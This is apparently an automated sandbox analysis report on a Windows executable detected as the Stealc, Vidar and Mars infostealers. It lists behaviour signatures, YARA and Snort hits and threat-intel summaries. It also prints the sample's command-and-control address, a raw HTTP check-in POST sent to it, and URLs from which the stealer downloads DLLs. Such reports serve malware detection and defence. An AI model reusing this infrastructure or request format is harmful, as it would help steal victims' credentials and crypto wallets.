Edit tour

Windows Analysis Report
4JgB4mYxvJ.exe

Overview

General Information

Sample name:	4JgB4mYxvJ.exe renamed because original name is a hash value
Original sample name:	92c3d034fce06771b5a20172071271e0.exe
Analysis ID:	1430190
MD5:	92c3d034fce06771b5a20172071271e0
SHA1:	81520f51607b9c62fff70b7cba7bb9ddbe77937b
SHA256:	3581c582d74f219116323f1c9b14cfdfecf07d07b604b2a2670af6d6a849f99f
Tags:	exeStealc
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

4JgB4mYxvJ.exe (PID: 3808 cmdline: "C:\Users\user\Desktop\4JgB4mYxvJ.exe" MD5: 92C3D034FCE06771B5A20172071271E0)

WerFault.exe (PID: 3924 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3808 -s 2176 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2391505695.00000000042AC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1568:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: 4JgB4mYxvJ.exe PID: 3808	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 4JgB4mYxvJ.exe PID: 3808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4JgB4mYxvJ.exe PID: 3808	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.4JgB4mYxvJ.exe.5ca0e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.4JgB4mYxvJ.exe.5ca0e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.4JgB4mYxvJ.exe.5ca0e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.4JgB4mYxvJ.exe.5ca0e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.4JgB4mYxvJ.exe.5cd0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.4JgB4mYxvJ.exe.5cd0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.4JgB4mYxvJ.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.4JgB4mYxvJ.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.4JgB4mYxvJ.exe.5cd0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.4JgB4mYxvJ.exe.5cd0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/23/24-09:32:54.510361
SID:	2044246
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/23/24-09:32:54.174579
SID:	2044244
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.5

Timestamp:	04/23/24-09:32:54.821628
SID:	2051831
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/23/24-09:32:53.782581
SID:	2044243
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.5

Timestamp:	04/23/24-09:32:54.489142
SID:	2051828
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.172.128.76Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 33 46 41 33 30 41 45 41 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="hwid"553FA30AEA1D3663812181------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build"default10------BGIDBKKKKKFBGDGDHIDB--

Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391464626.000000000429E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/freebl3.dll
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dll
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/msvcp140.dll
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dll
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dllc/
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dll
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dllP
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/sqlite3.dll
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/sqlite3.dll0
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/vcruntime140.dll
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A910000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A94D000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php#
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A94D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php(F
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php-fulluser-l1-1-0
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php26773f16987dca9d650aa36aa0d0e-release019f0ad33803541e5352f
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php7
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php;
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpH
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpK
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A917000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpS
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2063118208.000000000437C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpa
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpft
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2408822645.000000002A910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpnts
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.phpt
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391464626.000000000429E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.761
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 4JgB4mYxvJ.exe, 4JgB4mYxvJ.exe, 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2415466798.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 4JgB4mYxvJ.exe, 00000000.00000002.2402407115.000000001E78D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2049912924.0000000004344000.00000004.00000020.00020000.00000000.sdmp, JEHIDHDA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://www.mozilla.org
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2128366743.0000000030B0B000.00000004.00000020.00020000.00000000.sdmp, EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2128366743.0000000030B0B000.00000004.00000020.00020000.00000000.sdmp, EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 4JgB4mYxvJ.exe, 00000000.00000003.2128366743.0000000030B0B000.00000004.00000020.00020000.00000000.sdmp, EGCFIDAFBFBAKFHJEGIJKJDGII.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2391505695.00000000042AC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CD0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CD0B700
